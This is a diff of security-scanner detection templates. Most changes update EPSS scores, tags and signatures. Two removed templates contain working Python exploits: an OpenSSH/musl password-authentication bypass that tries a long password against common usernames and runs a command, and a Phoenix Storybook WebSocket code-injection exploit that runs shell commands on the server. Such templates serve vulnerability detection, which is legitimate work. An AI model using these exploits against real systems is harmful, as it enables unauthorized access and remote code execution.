@@ -164,4 +164,4 @@ code:
      - type: word
        words:
          - "VULNERABLE:"
-# digest: 4b0a00483046022100e5cb98c61eec3c597a1456695773320cbf0b1f0df66d11b25e749cadf5ebf85c022100c72c4262c32a36c69f8c3266a92313d2cb6edf58b69fdde9f118ad564cbba0a0:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100f71fdb80c77ca24cef2f96ac08cf4cad6896dd9385dcaa60e668b360c8997c4e022040a004ffc2b7df64105151be54efe6b70cb5dba83fea11da5aa9b5edc1738f0e:922c64590222798bb761d5b6d8e72950
@@ -21,8 +21,8 @@ info:
    cvss-score: 9.3
    cve-id: CVE-2025-25291
    cwe-id: CWE-347
-    epss-score: 0.20965
-    epss-percentile: 0.9757
+    epss-score: 0.19506
+    epss-percentile: 0.97043
  metadata:
    verified: true
    vendor: gitlab
@@ -80,4 +80,4 @@ http:
      - type: kval
        kval:
          - _gitlab_session
-# digest: 4a0a00473045022017ecae573bfb9f8fca3492f51cebf59316eeae1722b0b09fef2b42ca33a17f8e022100b6a65b370397108641358eed784df5b48ca35ad6ac7b0a0a217818785da5c32c:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100e2c601dd7e8539fb1cd1a8d57d50bf4220717095b09e8f5129be02d8af437b69022045bb134b59416d6d526a7d108e5741aae74c2b9a5259c6dbf3b550a003fa84ee:922c64590222798bb761d5b6d8e72950
@@ -22,8 +22,8 @@ info:
    cvss-score: 10
    cve-id: CVE-2025-32433
    cwe-id: CWE-306
-    epss-score: 0.98924
-    epss-percentile: 0.99927
+    epss-score: 0.97859
+    epss-percentile: 0.999
  metadata:
    verified: true
    max-request: 1
@@ -174,4 +174,4 @@ code:
        dsl:
          - 'contains(interactsh_protocol, "dns")'
        condition: and
-# digest: 4a0a00473045022100f73c5941c82d36fefc97f9070af94ea8949936ed1e457dcc37802f53b6f7f38b02204d6d48f5bbb62eac0d1c08d00b6614ab37771f36c8776548061a05d1e41f99bb:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022021be3e9059264c8820581780565b16fca2ac96911af9f2c90cfe41d5efa21d01022046d1be1a59699ebe8ad15c0ead0bbd72fbc528d106d41a32e27412a85972985d:922c64590222798bb761d5b6d8e72950
@@ -18,8 +18,8 @@ info:
    - https://explore.alas.aws.amazon.com/CVE-2025-32463.html
  classification:
    cve-id: CVE-2025-32463
-    epss-score: 0.563
-    epss-percentile: 0.99053
+    epss-score: 0.47467
+    epss-percentile: 0.98699
    cvss-score: 9.3
    cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cwe-id: CWE-426
@@ -44,7 +44,6 @@ code:
        words:
          - "root"
        negative: true
-        internal: true

  - engine:
      - sh
@@ -65,4 +64,4 @@ code:
          - "!contains(tolower(response), 'password')"
          - "!contains(tolower(response), 'a password is required')"
          - "!contains(tolower(response), 'is not in the sudoers file')"
-# digest: 4a0a0047304502204eccaa3b1e01ecbc1bc83a1c34e1a35f48451272753d119a1dece7c08d5937d0022100a508c5c4f0d38598679ba7a9bd47d542d0f190c35d0dbb61f3ce0180a405ff9f:922c64590222798bb761d5b6d8e72950
+# digest: 490a004630440220136e0b750d94d77ac44ebd9c17cc4b63caefb98466cd8cfaf60285a02339b91c0220283634be0c9a783f5ed4b917983d4e860fc588e568f3b876e4cc5832c75e337c:922c64590222798bb761d5b6d8e72950
@@ -17,8 +17,8 @@ info:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-54309
-    epss-score: 0.93473
-    epss-percentile: 0.9984
+    epss-score: 0.92034
+    epss-percentile: 0.99807
    cwe-id: CWE-287,CWE-362
    cpe: cpe:2.3:a:crushftp:crushftp:*:*:*:*:*:*:*:*
  metadata:
@@ -200,4 +200,4 @@ code:
      - type: word
        words:
          - "VULNERABLE:"
-# digest: 4a0a00473045022100c30546416b77b918aca040239e7720147308420e9c6fe2de9baf9a03b1d25af5022034f9648b3daff9e6d891901c928ab11a2cba1cce91a03e8219d3c6b03ae584b9:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100e8682f6eb18cc49cd7ed9946e1e0df3225844789666f622234e0b55ce31f1ded022100fc067931b6b02b90f0d072f19a5e3a400dfb0a842bdedb8cd71da31370ce3cc1:922c64590222798bb761d5b6d8e72950
@@ -15,8 +15,8 @@ info:
    - https://alltena.com/en/resources/release-notes/release-notes-for-release-8-1-4-and-release-7-5-2
    - https://nvd.nist.gov/vuln/detail/CVE-2025-6216
  classification:
-    epss-score: 0.47775
-    epss-percentile: 0.98853
+    epss-score: 0.29434
+    epss-percentile: 0.97955
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-6216
@@ -115,4 +115,4 @@ code:
      - type: dsl  # type of the extractor
        dsl:
          - '"Reset URL: " + code_response'
-# digest: 490a0046304402203797e66f5f388c3025ffa9a34aeb891949bb02353dfcf4c3c82b70280dc7bdfe02201b09d665abbf8296b1b6a8d224761014a5de2d90674f9adb1cb24ef0075945eb:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a004830460221009563513650966d7597d5c8a5a46d49fcc84fef8e698e57b330209c7771a59eb2022100d88d01c549b914a0710335ce592d29c7af52323cd856699f6780c90afc140b37:922c64590222798bb761d5b6d8e72950
@@ -17,15 +17,15 @@ info:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-68926
-    epss-score: 0.3185
-    epss-percentile: 0.98308
+    epss-score: 0.2903
+    epss-percentile: 0.9793
    cwe-id: CWE-798
  metadata:
    verified: true
    max-request: 1
    vendor: rustfs
    product: rustfs
-  tags: cve,cve2025,rustfs,grpc,auth-bypass,code,vuln
+  tags: cve,cve2025,rustfs,grpc,auth-bypass,code

 variables:
  HOST: "{{Host}}"
@@ -87,4 +87,4 @@ code:
        name: version
        regex:
          - "(\\d+\\.\\d+\\.\\d+-alpha\\.\\d+|grpc-auth-bypass)"
-# digest: 4a0a004730450220404ef4b6e643baa80333b9055a1dd6e3017d6a86724514a819595b1bcdbe7445022100c3500c4ae1c574771dea9a292914ccfa6f1b86af90b4ae2dd249bb3cacbfb0f6:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022015cbdaff0a72de87b3a5238a9133b95eac29d3445d27d1deb3b696b71739d4540221009846fa120f8cff6e1279f73606d6598fa0047298a7f9f01f29663ac5a6795925:2592222ea8b5b5922b8de61fd7ebe9f8
@@ -18,8 +18,8 @@ info:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2025-6984
-    epss-score: 0.01647
-    epss-percentile: 0.7654
+    epss-score: 0.01531
+    epss-percentile: 0.71736
    cwe-id: CWE-200
  metadata:
    verified: true
@@ -64,4 +64,4 @@ code:
          - "bin:"
          - "daemon:"
        condition: or
-# digest: 4a0a004730450220111585b1f4d096a93395983a206fe6a22be33a746b72af2bf91baa7da41b93fb022100fe92a04dc552157386ba5d189bfe81aa84694078f9c651e7266e8fb60b53cde0:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100b09735eee11bf2f17bfa345f0063b39ae6aa19e66bf2bc5fb1daefffced2bcd3022100a9c2a04c4d2d7a5beee4a942bcf043c172b2c2f2a5b4fb55dc326a0ee36dcd98:922c64590222798bb761d5b6d8e72950
@@ -112,4 +112,4 @@ code:
        regex:
          - '\|(.+)$'
        group: 1
-# digest: 4a0a0047304502205a98076bd98ac3fc7ec235582bbcce6cf4c21d5c125a581beb8fda6b2460b81e022100a0fcae46a204a4cd489c200e00c0b4f718ea624785f470230c91247ee0460057:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100b2877e84e37d0dc5c41842be512b9309b95d850ad6474ae80a32462e6b81cfc60220533db7a89ed2ce39c410359b308c5bd8cac3d59d485712154572c64c2c94b5a9:41987585204b393149694b2205534b1a
@@ -18,13 +18,13 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2025-9242
    cwe-id: CWE-787,CWE-362
-    epss-score: 0.92219
-    epss-percentile: 0.99823
+    epss-score: 0.8637
+    epss-percentile: 0.99709
    cpe: cpe:2.3:a:watchguard:fireware_os:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    shodan-query: html:"Watchguard" html:"Authentication Server"
-  tags: cve,cve2025,watchguard,ikev2,rce,passive,vpn,kev,vkev,vuln
+  tags: cve,cve2025,watchguard,ikev2,rce,passive,vpn,kev,vkev

 variables:
  HOST: "{{Host}}"
@@ -552,4 +552,4 @@ code:
      - type: dsl
        dsl:
          - response
-# digest: 4a0a0047304502201a421092e3a959ead141b13dbbbfebdb346052d8cc3f390a6549d6a47805e40f0221009d2fc0f2262af3f9dc925122f2ba67cc7775748a2535b646c1d5eb9c10d157e9:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502207c5ec28507f297a730ae76ad5a6b684be07faadc08f975366ca089b08c207a630221008561c1d8f9122d261eb8d36e7a7343f7a89fb8881769d1027bb4ea62bc10cea7:922c64590222798bb761d5b6d8e72950
@@ -18,8 +18,8 @@ info:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.1
    cve-id: CVE-2026-10795
-    epss-score: 0.04308
-    epss-percentile: 0.91183
+    epss-score: 0.03578
+    epss-percentile: 0.88
    cwe-id: CWE-347
  metadata:
    max-request: 2
@@ -85,4 +85,4 @@ http:
          - 'status_code == 200'
          - 'contains(body, "\"udrpc_message\":\"")'
        condition: and
-# digest: 490a00463044022048e2a65670a60a765e97d366fc18f51d1ce4f46dbb8b89c8767581d577a00a3202202b17f829eec919f7aeffb746031245efb8a139bfadc517f1a3e9df221d87362a:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100a881b582fed632f80412c76035e841db6494221b4f102f999bad2faddc3da3fb02204c4daa0834d7e0f354be0bab3c44eceafe0a2bd76d77e86fa6fcdd94188ae214:922c64590222798bb761d5b6d8e72950
@@ -1,120 +0,0 @@
-id: CVE-2026-123158
-
-info:
-  name: SSHole - OpenSSH/musl Password Auth Bypass
-  author: DhiyaneshDk
-  severity: critical
-  description: |
-    sshd in OpenSSH before 10.6p2 on Linux, when musl libc is used without PAM, lacks a workaround for a password authentication bypass (related to misinterpretation of whether a string is intended to be a password hash). For some configurations of accounts, any password between 256 and 1024 characters succeeds. An example of a platform using musl libc without PAM is Alpine Linux.
-  impact: |
-    Attackers can bypass password authentication, gaining unauthorized access to accounts.
-  remediation: |
-    Update to OpenSSH version 10.6p2 or later.
-  reference:
-    - https://alpinelinux.org/posts/2026-11-05-openssh-password-authentication-bypass/
-    - https://www.openssh.com/releasenotes.html#10.6p2
-    - https://nvd.nist.gov/vuln/detail/cve-2026-123158
-  classification:
-    cwe-id: CWE-305
-  metadata:
-    verified: true
-    max-request: 1
-    shodan-query: product:"OpenSSH"
-  tags: code,ssh,vuln,alpine,musl,auth-bypass,sshhole,network
-
-code:
-  - engine:
-      - python3
-      - python
-
-    source: |
-      import sys, os, socket
-      try:
-          import paramiko
-      except ImportError:
-          print("SKIP paramiko not installed")
-          sys.exit(0)
-      import logging
-      logging.getLogger("paramiko").setLevel(logging.CRITICAL)
-
-      raw = sys.stdin.read().strip()
-      if ":" in raw:
-          host, port = raw.rsplit(":", 1)
-          port = int(port)
-      else:
-          host, port = raw, 22
-
-      try:
-          s = socket.create_connection((host, port), timeout=5)
-          banner = s.recv(256).decode(errors="replace").strip()
-          s.close()
-      except Exception as e:
-          print(f"CONNECTION_FAILED {host}:{port} {e}")
-          sys.exit(0)
-      if "OpenSSH" not in banner:
-          print(f"NOT_OPENSSH banner={banner}")
-          sys.exit(0)
-      print(f"BANNER {banner}")
-
-      PW = "A" * 300
-      USERS = ["root", "victim", "nobody", "ftp", "ntp", "sshd", "guest"]
-
-      for user in USERS:
-          try:
-              t = paramiko.Transport((host, port))
-              t.connect()
-              # Attempt 1 -- expected FAIL (shadow buffer aliasing)
-              a1 = False
-              try:
-                  t.auth_password(user, PW)
-                  a1 = True
-              except paramiko.AuthenticationException:
-                  pass
-              except Exception:
-                  t.close()
-                  continue
-              if a1:
-                  try:
-                      ch = t.open_session()
-                      ch.exec_command("id")
-                      out = ch.makefile().read().decode().strip()
-                      ch.close()
-                  except:
-                      out = "session-open"
-                  t.close()
-                  print(f"BYPASS_CONFIRMED user={user} attempt=1 id={out}")
-                  sys.exit(0)
-              # Attempt 2 -- expected PASS (cached salt)
-              try:
-                  t.auth_password(user, PW)
-              except paramiko.AuthenticationException:
-                  t.close()
-                  continue
-              except Exception:
-                  t.close()
-                  continue
-              try:
-                  ch = t.open_session()
-                  ch.exec_command("id")
-                  out = ch.makefile().read().decode().strip()
-                  ch.close()
-              except:
-                  out = "session-open"
-              t.close()
-              print(f"BYPASS_CONFIRMED user={user} attempt=2 id={out}")
-              sys.exit(0)
-          except Exception:
-              continue
-      print("BYPASS_FAILED")
-
-    matchers:
-      - type: word
-        words:
-          - "BYPASS_CONFIRMED"
-
-    extractors:
-      - type: regex
-        name: bypassed_user
-        group: 1
-        regex:
-          - "user=(\\S+)"
@@ -19,8 +19,8 @@ info:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10.0
    cve-id: CVE-2026-20182
-    epss-score: 0.91817
-    epss-percentile: 0.99816
+    epss-score: 0.87693
+    epss-percentile: 0.99738
    cwe-id: CWE-287
    cpe: cpe:2.3:a:cisco:catalyst_sd-wan_controller:*:*:*:*:*:*:*:*
  metadata:
@@ -272,4 +272,4 @@ code:
      - type: word
        words:
          - "VULNERABLE:"
-# digest: 4a0a0047304502200e271c7d89e41b1b6114c53735580b9a4fe34c29fdd0322395c7f6af32edacc50221008941cee2e2914d69681c68bfb03f09fda537c09c67e4fe70a62dc2ada884e5a5:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450220127e8b7b1bd730a8383479424cc229fed8fac958ae28c20c10d456bf9d083e38022100c4851e5ca05359bac2cd2824c20fb649a60295365f456fb3b4bbd7025a24d7b4:922c64590222798bb761d5b6d8e72950
@@ -17,8 +17,8 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2026-24061
    cwe-id: CWE-88
-    epss-score: 0.98984
-    epss-percentile: 0.99929
+    epss-score: 0.98871
+    epss-percentile: 0.99921
  metadata:
    verified: true
    max-request: 1
@@ -26,7 +26,7 @@ info:
    product: inetutils
    shodan-query: port:23 telnet
    fofa-query: port="23" && protocol="telnet"
-  tags: cve,cve2026,telnet,auth-bypass,rce,code,kev,vkev,vuln
+  tags: cve,cve2026,telnet,auth-bypass,rce,code,kev,vkev

 code:
  - engine:
@@ -49,4 +49,4 @@ code:
          - "Last login"
          - "Debian"
        condition: and
-# digest: 4a0a00473045022065a94097ca7c40bb8bef866c1a6e607a8da23a564d3a75cdadfc656450c05cf10221008d8e4289091ce101df13ad402a376da2a88393b478c7857c13fe194ae343e537:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022011e8f400bf49429ac73ecf3a1f1dc2817f6fadacdcb9261415593da1ae6601b6022100c8f61b1763bb1cabbc7fbeba9931e06ff1ea95b16f402f17db5554e63740b0c2:922c64590222798bb761d5b6d8e72950
@@ -19,8 +19,8 @@ info:
    cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.8
    cve-id: CVE-2026-31431
-    epss-score: 0.98114
-    epss-percentile: 0.99911
+    epss-score: 0.96267
+    epss-percentile: 0.9987
    cwe-id: CWE-787
    cpe: cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*
  metadata:
@@ -139,4 +139,4 @@ code:
        part: response
        regex:
          - 'VULNERABLE:.*'
-# digest: 490a00463044022051713b8fee9c8af61e7d430677309dbfe206f3b94f712ade50fe676b31b4de0302201bc5a3b9b15d079c56cd4c486fd470f4d2d7050d8218206ac027456019598695:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100e058f2d5f55fad7a3fb789ff8f71e2fd5aa4ca8c22c1322f282bf8b2e00f6bf202204f95658677e444614a29df15e5f9a0d0d33bd6a0be8bcdc67189762700ed4455:922c64590222798bb761d5b6d8e72950
@@ -1,279 +0,0 @@
-id: CVE-2026-8467
-
-info:
-  name: Phoenix Storybook - Remote Code Execution
-  author: 0x_Akoko
-  severity: critical
-  description: |
-    Phenixdigital phoenix_storybook >=0.5.0 <1.1.0 contains a code injection caused by unsanitized attribute value interpolation in HEEx template generation, letting unauthenticated remote attackers execute arbitrary code on the server, exploit requires sending crafted WebSocket event data.
-  impact: |
-    Unauthenticated attackers can execute arbitrary code on the server, leading to full system compromise.
-  remediation: |
-    Upgrade to version 1.1.0 or later.
-  reference:
-    - https://github.com/plausible/analytics/security/advisories
-    - https://github.com/plausible/analytics
-    - https://nvd.nist.gov/vuln/detail/CVE-2026-8467
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
-    cvss-score: 9.8
-    cve-id: CVE-2026-8467
-    epss-score: 0.02111
-    epss-percentile: 0.81849
-    cwe-id: CWE-94
-  metadata:
-    verified: true
-    max-request: 3
-    shodan-query: http.favicon.hash:829712541
-    fofa-query: icon_hash=="829712541"
-  tags: cve,cve2026,rce,plausible,phoenix,storybook,heex
-
-code:
-  - engine:
-      - py
-      - python3
-    source: |
-      import sys, re, json, ssl, socket, struct, base64, os, time
-      import http.cookiejar, urllib.request, urllib.parse, urllib.error
-
-      target = sys.stdin.read().strip()
-      if not target:
-          print("ERROR: No target")
-          sys.exit(1)
-      target = target.rstrip("/")
-      if not target.startswith("http"):
-          target = "http://" + target
-      is_https = target.startswith("https://")
-
-      ssl_ctx = ssl.create_default_context()
-      ssl_ctx.check_hostname = False
-      ssl_ctx.verify_mode = ssl.CERT_NONE
-
-      storybook_url = target + "/storybook/iframe/button?playground=true&variation_id=default&topic=pwn"
-
-      # Step 1: Fetch storybook page
-      try:
-          cj = http.cookiejar.CookieJar()
-          opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj), urllib.request.HTTPSHandler(context=ssl_ctx))
-          req = urllib.request.Request(storybook_url, headers={"User-Agent": "Mozilla/5.0"})
-          resp = opener.open(req, timeout=15)
-          body = resp.read().decode("utf-8", errors="replace")
-      except Exception as e:
-          print("NOT_VULNERABLE: Connection failed - " + str(e))
-          sys.exit(0)
-
-      if resp.getcode() != 200 or "data-phx-session" not in body:
-          print("NOT_VULNERABLE: Storybook not exposed (HTTP " + str(resp.getcode()) + ")")
-          sys.exit(0)
-
-      # Step 2: Extract tokens
-      csrf_m = re.search(r'content="([^"]+)"\s+name="csrf-token"', body) or re.search(r'name="csrf-token"\s+content="([^"]+)"', body)
-      if not csrf_m:
-          print("NOT_VULNERABLE: No CSRF token")
-          sys.exit(0)
-      csrf = csrf_m.group(1)
-      cookie_str = "; ".join(c.name + "=" + c.value for c in cj)
-      phx_id_m = re.search(r'id="phx-([^"]+)"', body)
-      if not phx_id_m:
-          print("NOT_VULNERABLE: No PHX ID")
-          sys.exit(0)
-      phx_id = phx_id_m.group(1)
-      sessions = re.findall(r'data-phx-session="([^"]+)"', body)
-      statics = re.findall(r'data-phx-static="([^"]+)"', body)
-      if not sessions or not statics:
-          print("NOT_VULNERABLE: No session tokens")
-          sys.exit(0)
-      parent_session = sessions[0]
-      parent_static = statics[0]
-      child_static = statics[1] if len(statics) > 1 else statics[0]
-
-      # Step 3: Raw WebSocket connection (NO Origin header - bypasses Phoenix check_origin)
-      host_with_port = target.split("://", 1)[1]
-      parts = host_with_port.split(":")
-      ws_host = parts[0]
-      ws_port = int(parts[1]) if len(parts) > 1 else (443 if is_https else 80)
-      csrf_enc = urllib.parse.quote(csrf, safe="")
-      ws_path = "/live/websocket?_csrf_token=" + csrf_enc + "&_track_static%5B0%5D=&_mounts=0&vsn=2.0.0"
-
-      try:
-          sock = socket.create_connection((ws_host, ws_port), timeout=15)
-          if is_https:
-              sock = ssl_ctx.wrap_socket(sock, server_hostname=ws_host)
-          ws_key = base64.b64encode(os.urandom(16)).decode()
-          handshake = "GET " + ws_path + " HTTP/1.1\r\nHost: " + host_with_port + "\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Key: " + ws_key + "\r\nSec-WebSocket-Version: 13\r\nCookie: " + cookie_str + "\r\nUser-Agent: Mozilla/5.0\r\n\r\n"
-          sock.sendall(handshake.encode())
-          resp_data = b""
-          while b"\r\n\r\n" not in resp_data:
-              chunk = sock.recv(4096)
-              if not chunk:
-                  break
-              resp_data += chunk
-          if b"101" not in resp_data.split(b"\r\n")[0]:
-              print("NOT_VULNERABLE: WebSocket upgrade failed")
-              sys.exit(0)
-      except Exception as e:
-          print("NOT_VULNERABLE: WebSocket connection failed - " + str(e))
-          sys.exit(0)
-
-      def ws_send(sock, data):
-          payload = data.encode("utf-8")
-          frame = bytearray([0x81])
-          mask_key = os.urandom(4)
-          ln = len(payload)
-          if ln < 126:
-              frame.append(0x80 | ln)
-          elif ln < 65536:
-              frame.append(0x80 | 126)
-              frame.extend(struct.pack("!H", ln))
-          else:
-              frame.append(0x80 | 127)
-              frame.extend(struct.pack("!Q", ln))
-          frame.extend(mask_key)
-          masked = bytearray(ln)
-          for i in range(ln):
-              masked[i] = payload[i] ^ mask_key[i % 4]
-          frame.extend(masked)
-          sock.sendall(bytes(frame))
-
-      def ws_recv(sock, timeout=10):
-          sock.settimeout(timeout)
-          def rx(n):
-              d = b""
-              while len(d) < n:
-                  c = sock.recv(n - len(d))
-                  if not c:
-                      raise Exception("closed")
-                  d += c
-              return d
-          hdr = rx(2)
-          op = hdr[0] & 0x0F
-          mk = (hdr[1] & 0x80) != 0
-          ln = hdr[1] & 0x7F
-          if ln == 126:
-              ln = struct.unpack("!H", rx(2))[0]
-          elif ln == 127:
-              ln = struct.unpack("!Q", rx(8))[0]
-          if mk:
-              mask_key = rx(4)
-          pl = rx(ln)
-          if mk:
-              pl = bytearray(pl)
-              for i in range(len(pl)):
-                  pl[i] ^= mask_key[i % 4]
-              pl = bytes(pl)
-          return op, pl.decode("utf-8", errors="replace")
-
-      # Step 4: Join parent LiveView
-      parent_join = json.dumps(["1", "1", "lv:phx-" + phx_id, "phx_join", {"url": storybook_url, "params": {"_csrf_token": csrf, "_mounts": 0}, "session": parent_session, "static": parent_static}])
-      ws_send(sock, parent_join)
-
-      child_session = None
-      child_topic = None
-      for _ in range(10):
-          try:
-              op, msg = ws_recv(sock)
-              if not msg:
-                  continue
-              data = json.loads(msg)
-              if isinstance(data, list) and len(data) >= 5 and data[3] == "phx_reply":
-                  rendered_str = json.dumps(data[4].get("response", {}).get("rendered", {}))
-                  cs = re.findall(r'data-phx-session=\\+"([^"\\]+)', rendered_str)
-                  for s in cs:
-                      if s != parent_session:
-                          child_session = s
-                          break
-                  if not child_session and cs:
-                      child_session = cs[0]
-                  tm = re.findall(r'id=\\+"([^"\\]*-playground-preview)', rendered_str)
-                  if tm:
-                      child_topic = "lv:" + tm[0]
-                  cst = re.findall(r'data-phx-static=\\+"([^"\\]+)', rendered_str)
-                  if cst:
-                      child_static = cst[0]
-                  break
-          except:
-              break
-
-      if not child_session:
-          if len(sessions) > 1:
-              child_session = sessions[1]
-          else:
-              print("NOT_VULNERABLE: No child session found")
-              sock.close()
-              sys.exit(0)
-
-      if not child_topic:
-          child_topic = "lv:plausible_web_storybook_button-playground-preview"
-
-      # Step 5: Join child LiveView
-      child_join = json.dumps(["2", "2", child_topic, "phx_join", {"url": storybook_url, "params": {"_csrf_token": csrf, "_mounts": 0}, "session": child_session, "static": child_static}])
-      ws_send(sock, child_join)
-
-      child_joined = False
-      for _ in range(10):
-          try:
-              op, msg = ws_recv(sock)
-              if not msg:
-                  continue
-              data = json.loads(msg)
-              if isinstance(data, list) and len(data) >= 5 and data[3] == "phx_reply":
-                  st = data[4].get("status", "") if isinstance(data[4], dict) else ""
-                  if st == "ok":
-                      child_joined = True
-                      break
-          except:
-              break
-
-      if not child_joined:
-          print("NOT_VULNERABLE: Child join failed")
-          sock.close()
-          sys.exit(0)
-
-      # Step 6: Send RCE payload
-      cmd = "id"
-      exploit_val = 'foo" pwned={elem(System.cmd("sh",["-c","' + cmd + '"]),0)} a="'
-      exploit_msg = json.dumps(["3", "3", child_topic, "event", {"type": "click", "event": "psb-assign", "value": {"variation_id": "default", "type": exploit_val}}])
-      ws_send(sock, exploit_msg)
-
-      # Step 7: Parse output
-      rce_output = ""
-      for _ in range(10):
-          try:
-              op, msg = ws_recv(sock)
-              if not msg:
-                  continue
-              if "pwned" in msg:
-                  pm = re.search(r'pwned=\\+"(.*?)\\+"', msg)
-                  if not pm:
-                      pm = re.search(r'pwned="(.*?)"', msg)
-                  if pm:
-                      rce_output = pm.group(1).replace("\\n", "\n").replace("\\t", "\t").replace('\\"', '"')
-                      rce_output = re.sub(r'\s+a=.*', '', rce_output, flags=re.DOTALL).strip()
-                      break
-          except:
-              break
-
-      sock.close()
-
-      if rce_output and "uid=" in rce_output:
-          print("Target: " + target)
-          print("Status: RCE_CONFIRMED")
-          print("Command: " + cmd)
-          print("Output: " + rce_output)
-      else:
-          print("NOT_VULNERABLE: No RCE output")
-
-    matchers:
-      - type: word
-        words:
-          - "RCE_CONFIRMED"
-          - "uid="
-        condition: and
-
-    extractors:
-      - type: regex
-        name: rce_output
-        group: 1
-        regex:
-          - "Output: (.*)"
-# digest: 4b0a00483046022100cf953ac2d76dc9aaaf7b14a2ac85b923966b71b0fb3e8d8e706d524155d2987f0221008cdd26c1fc9d9f9bbcbdbaf9e5811433c76dbda034f8fbcd52410caf8819871a:922c64590222798bb761d5b6d8e72950
@@ -1,45 +0,0 @@
-id: apport-error-reporting-disabled-check
-
-info:
-  name: Ensure Automatic Error Reporting is Not Enabled
-  author: Th3l0newolf
-  severity: medium
-  description: |
-    This template checks whether the Apport automatic error reporting service is enabled.
-  remediation: |
-    Disable Apport by editing `/etc/default/apport` and setting:
-      enabled=0
-
-    If Apport is not required, remove it:
-      sudo apt remove apport -y
-  reference:
-    - https://www.cisecurity.org/benchmark/ubuntu_linux
-  tags: cis,linux,ubuntu,apport,error-reporting,audit
-  metadata:
-    verified: true
-
-self-contained: true
-
-code:
-  - engine:
-      - bash
-    args:
-      - "-c"
-      - |
-        if dpkg-query -s apport &>/dev/null && grep -Psiq -- '^\h*enabled\h*=\h*[^0]\b' /etc/default/apport; then
-          echo "[apport-error-reporting-disabled-check:Policy-Fail] [Automatic Error Reporting is enabled] [CIS_FAIL] [medium]"
-        else
-          echo "[apport-error-reporting-disabled-check:Policy-Pass] [Automatic Error Reporting is disabled] [CIS_PASS] [medium]"
-        fi
-
-    matchers:
-      - type: word
-        name: policy-pass
-        words:
-          - "Policy-Pass"
-
-      - type: word
-        name: policy-fail
-        words:
-          - "Policy-Fail"
-# digest: 490a0046304402200d37587f3a27f271e96ffbea88879b3f065db850de39a41b3ec97fb0c538f07b0220445de576573745b10d3e4d01b186ef72a9b7270bd0685634c45ddc4348243424:922c64590222798bb761d5b6d8e72950
@@ -1,44 +0,0 @@
-id: gdm-automount-removable-media-disabled-check
-
-info:
-  name: Ensure GDM Automatic Mounting of Removable Media is Disabled
-  author: Th3l0newolf
-  severity: medium
-  description: |
-    This template checks whether automatic mounting of removable media is disabled.
-  remediation: |
-    Disable automatic mounting and automatic opening of removable media in GDM.
-  reference:
-    - https://www.cisecurity.org/benchmark/ubuntu_linux
-  tags: cis,linux,ubuntu,gdm,media,automount,audit
-  metadata:
-    verified: true
-
-self-contained: true
-
-code:
-  - engine:
-      - bash
-    args:
-      - "-c"
-      - |
-        automount=$(gsettings get org.gnome.desktop.media-handling automount 2>/dev/null)
-        automount_open=$(gsettings get org.gnome.desktop.media-handling automount-open 2>/dev/null)
-
-        if [ "$automount" = "false" ] && [ "$automount_open" = "false" ]; then
-          echo "[gdm-automount-removable-media-disabled-check:Policy-Pass] [Automatic mounting of removable media is disabled] [CIS_PASS] [medium]"
-        else
-          echo "[gdm-automount-removable-media-disabled-check:Policy-Fail] [Automatic mounting of removable media is enabled] [CIS_FAIL] [medium]"
-        fi
-
-    matchers:
-      - type: word
-        name: policy-pass
-        words:
-          - "Policy-Pass"
-
-      - type: word
-        name: policy-fail
-        words:
-          - "Policy-Fail"
-# digest: 4a0a00473045022100d49ac46ebe2172ca1f5fa4fbd1d7e2c4c3964ce081c06e33a29d8d87f5789c020220162bf14558a7cd7eca0d7006654b7ba99ffc23fd118e9bd7df99babf6fe13ced:922c64590222798bb761d5b6d8e72950
@@ -1,44 +0,0 @@
-id: gdm-autorun-never-enabled-check
-
-info:
-  name: Ensure GDM autorun-never is Enabled
-  author: Th3l0newolf
-  severity: medium
-  description: |
-    This template checks whether GDM is configured to disable autorun for removable media.
-  remediation: |
-    Enable the `autorun-never` setting to prevent automatic execution of content
-    from removable media.
-  reference:
-    - https://www.cisecurity.org/benchmark/ubuntu_linux
-  tags: cis,linux,ubuntu,gdm,autorun,media,audit
-  metadata:
-    verified: true
-
-self-contained: true
-
-code:
-  - engine:
-      - bash
-    args:
-      - "-c"
-      - |
-        autorun_never=$(gsettings get org.gnome.desktop.media-handling autorun-never 2>/dev/null)
-
-        if [ "$autorun_never" = "true" ]; then
-          echo "[gdm-autorun-never-enabled-check:Policy-Pass] [GDM autorun-never is enabled] [CIS_PASS] [medium]"
